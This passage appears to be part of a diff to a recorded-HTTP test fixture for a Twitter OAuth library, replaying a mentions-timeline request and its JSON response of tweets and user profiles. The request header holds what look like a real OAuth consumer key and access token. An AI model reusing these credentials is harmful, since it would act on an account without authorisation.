Artworld\",\"screen_name\":\"dev786art\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":1,\"listed_count\":0,\"created_at\":\"Thu Mar 17 13:05:59 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":48,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 22 05:23:49 +0000 2011\",\"id\":50065118918213632,\"id_str\":\"50065118918213632\",\"text\":\"@oauthlibtest : this is new retweet\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":267737297,\"id_str\":\"267737297\",\"name\":\"Developer Artworld\",\"screen_name\":\"dev786art\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":1,\"listed_count\":0,\"created_at\":\"Thu Mar 17 13:05:59 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":48,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Mar 20 15:24:28 +0000 2011\",\"id\":49491502925225985,\"id_str\":\"49491502925225985\",\"text\":\"Now tracking stats for @oauthlibtest at http:\\\/\\\/twittercounter.com\\\/oauthlibtest?t=t (52 followers)\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[23,36]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twittercounter.com\\\" rel=\\\"nofollow\\\"\\u003eThe Counter\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":39328213,\"id_str\":\"39328213\",\"name\":\"OurStatus\",\"screen_name\":\"OurStatus\",\"location\":\"TwitterWorld\",\"description\":\"We welcome EVERY new member here so following us might be annoying for you. :-)\",\"url\":\"http:\\\/\\\/t.co\\\/MJn4MTUuC0\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/MJn4MTUuC0\",\"expanded_url\":\"http:\\\/\\\/twittercounter.com\\\/\",\"display_url\":\"twittercounter.com\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2481,\"friends_count\":8,\"listed_count\":51,\"created_at\":\"Mon May 11 20:03:28 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":1190192,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"EDECE9\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1087614264\\\/twc_logo_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1087614264\\\/twc_logo_normal.png\",\"profile_link_color\":\"088253\",\"profile_sidebar_border_color\":\"D3D2CF\",\"profile_sidebar_fill_color\":\"E3E2DE\",\"profile_text_color\":\"634047\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 08 16:54:24 +0000 2011\",\"id\":45165480461352960,\"id_str\":\"45165480461352960\",\"text\":\"@oauthlibtest http:\\\/\\\/www.facebook.com\\\/event.php?eid=147409505321037 invita i tuoi amici\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":9885752,\"id_str\":\"9885752\",\"name\":\"tor100\",\"screen_name\":\"tor100\",\"location\":\"italia\",\"description\":\"Cot vade a fe la 'n mes, piciu?\\r\\niononsonodisinistramaCOMUNISTA\",\"url\":\"http:\\\/\\\/t.co\\\/BXBfxnpxqN\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/BXBfxnpxqN\",\"expanded_url\":\"http:\\\/\\\/tor100.wordpress.com\\\/\",\"display_url\":\"tor100.wordpress.com\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":241,\"friends_count\":363,\"listed_count\":12,\"created_at\":\"Fri Nov 02 14:16:38 +0000 2007\",\"favourites_count\":20,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":13788,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"9AE4E8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1224654764\\\/pat_normal.gif\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1224654764\\\/pat_normal.gif\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/9885752\\\/1398770471\",\"profile_link_color\":\"0000FF\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"E0FF92\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"it\"},{\"created_at\":\"Tue Mar 08 16:53:35 +0000 2011\",\"id\":45165273631817728,\"id_str\":\"45165273631817728\",\"text\":\"@oauthlibtest works\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":52199567,\"id_str\":\"52199567\",\"name\":\"miche fax\",\"screen_name\":\"MicheFax\",\"location\":\"Milano-Verona\",\"description\":\"Trying to improve the good energy inside and outside of me\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":168,\"friends_count\":329,\"listed_count\":4,\"created_at\":\"Mon Jun 29 21:42:18 +0000 2009\",\"favourites_count\":101,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2619,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1291516151\\\/WeeMee_21507e3d6969f72f670be2f6f4645e9e_for_mi.fac_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1291516151\\\/WeeMee_21507e3d6969f72f670be2f6f4645e9e_for_mi.fac_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/52199567\\\/1453128465\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}]" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/mentions_timeline.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"XBG94YLieQDRW%2FSohCUWyw7cCjs%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "6295", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:49 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:49 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_R2D1tzBO5vr\/p0hAkM5zpQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786110971872163; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:49 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-app-rate-limit-limit": "100000", + "x-app-rate-limit-remaining": "99989", + "x-app-rate-limit-reset": "1587934976", + "x-connection-hash": "fe1724a702fbcac93da2de2b62ba3fe9", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "75", + "x-rate-limit-remaining": "73", + "x-rate-limit-reset": "1587861623", + "x-response-time": "72", + "x-transaction": "0050abfc0028f502", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "[{\"created_at\":\"Tue Oct 09 09:16:34 +0000 2018\",\"id\":1049589427318743040,\"id_str\":\"1049589427318743040\",\"text\":\"@oauthlibtest wawa\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":385051447,\"id_str\":\"385051447\",\"name\":\"\\u041d\\u0438\\u043a\\u043e\\u043b\\u0430 \\u041d\\u0438\\u043a\\u043e\\u043b\\u043e\\u0432\\u0441\\u043a\\u0438\",\"screen_name\":\"AmigoNiko\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2,\"friends_count\":3,\"listed_count\":0,\"created_at\":\"Tue Oct 04 19:50:08 +0000 2011\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":10,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"tl\"},{\"created_at\":\"Mon Oct 10 21:11:07 +0000 2016\",\"id\":785588495129739264,\"id_str\":\"785588495129739264\",\"text\":\"@oauthlibtest lol\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":6242973112,\"in_reply_to_status_id_str\":\"6242973112\",\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":107232049,\"id_str\":\"107232049\",\"name\":\"\\ud83c\\udf10 Mao \\u2192 \\ud83c\\udf0d\",\"screen_name\":\"De_Li_Yang\",\"location\":\"My Twitter account's profile location is the longest ever because it's very cool, ok? I don't really know how I wrote all of this... but I like it :)!\",\"description\":\"\\u00b0+\\u00b0 https:\\\/\\\/t.co\\\/rZwgF3TQar\",\"url\":\"https:\\\/\\\/t.co\\\/d65WAlDNlH\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/d65WAlDNlH\",\"expanded_url\":\"http:\\\/\\\/this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.never.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.is.probably.the.longest.loopy.fake.website.url.on.a.twitter.profile.of.all.time.because.you.can.possibly.never.ever.ever.ever.ever.ever.ever.ever.ever.ever.ever.write.something.longer.than.this.link.i.assume.so.i.am.just.gonna.finish.this.okbye.com\",\"display_url\":\"\\u2026i.am.just.gonna.finish.this.okbye.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rZwgF3TQar\",\"expanded_url\":\"http:\\\/\\\/paypal.me\\\/DeLi\",\"display_url\":\"paypal.me\\\/DeLi\",\"indices\":[4,27]}]}},\"protected\":false,\"followers_count\":2212,\"friends_count\":21,\"listed_count\":4,\"created_at\":\"Thu Jan 21 22:49:03 +0000 2010\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":385791,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":true,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/2456970211\\\/xngkt99c24et9k7pco13_normal.gif\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/2456970211\\\/xngkt99c24et9k7pco13_normal.gif\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/107232049\\\/1375640549\",\"profile_link_color\":\"05BFF2\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"moderator\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Mon Jul 29 10:33:20 +0000 2013\",\"id\":361796578241028097,\"id_str\":\"361796578241028097\",\"text\":\"@lakotadlustig @oauthlibtest @twittyapp DM\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"lakotadlustig\",\"name\":\"Lakota Lustig \\ud83c\\udf31\",\"id\":868067922,\"id_str\":\"868067922\",\"indices\":[0,14]},{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[15,28]},{\"screen_name\":\"twittyapp\",\"name\":\"Twitty\",\"id\":1465708922,\"id_str\":\"1465708922\",\"indices\":[29,39]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":361795965159608321,\"in_reply_to_status_id_str\":\"361795965159608321\",\"in_reply_to_user_id\":868067922,\"in_reply_to_user_id_str\":\"868067922\",\"in_reply_to_screen_name\":\"lakotadlustig\",\"user\":{\"id\":421392342,\"id_str\":\"421392342\",\"name\":\"Evert De Spiegeleer\",\"screen_name\":\"eds1999\",\"location\":\"Belgium\",\"description\":\"20. European. Engineer. Developer. Here for everything space-related.\",\"url\":\"https:\\\/\\\/t.co\\\/m19HQXRy3P\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/m19HQXRy3P\",\"expanded_url\":\"http:\\\/\\\/github.com\\\/evertdespiegeleer\",\"display_url\":\"github.com\\\/evertdespiegel\\u2026\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":433,\"friends_count\":1175,\"listed_count\":14,\"created_at\":\"Fri Nov 25 21:58:06 +0000 2011\",\"favourites_count\":1765,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5209,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1226456092378529793\\\/eoJ-xOeW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1226456092378529793\\\/eoJ-xOeW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/421392342\\\/1424992018\",\"profile_link_color\":\"009999\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Mon Apr 29 07:12:03 +0000 2013\",\"id\":328768625957814272,\"id_str\":\"328768625957814272\",\"text\":\"@oauthlibtest 1\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oauthlibtest\",\"name\":\"OAuth Library Test\",\"id\":93915746,\"id_str\":\"93915746\",\"indices\":[0,13]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":93915746,\"in_reply_to_user_id_str\":\"93915746\",\"in_reply_to_screen_name\":\"oauthlibtest\",\"user\":{\"id\":1331868230,\"id_str\":\"1331868230\",\"name\":\"Den TSVETOK\",\"screen_name\":\"denTsvetok\",\"location\":\"Teh internets\",\"description\":\"\",\"url\":\"http:\\\/\\\/t.co\\\/jvqJ6VIgn7\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/jvqJ6VIgn7\",\"expanded_url\":\"http:\\\/\\\/123.ru\",\"display_url\":\"123.ru\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4,\"friends_count\":419,\"listed_count\":0,\"created_at\":\"Sat Apr 06 15:34:15 +0000 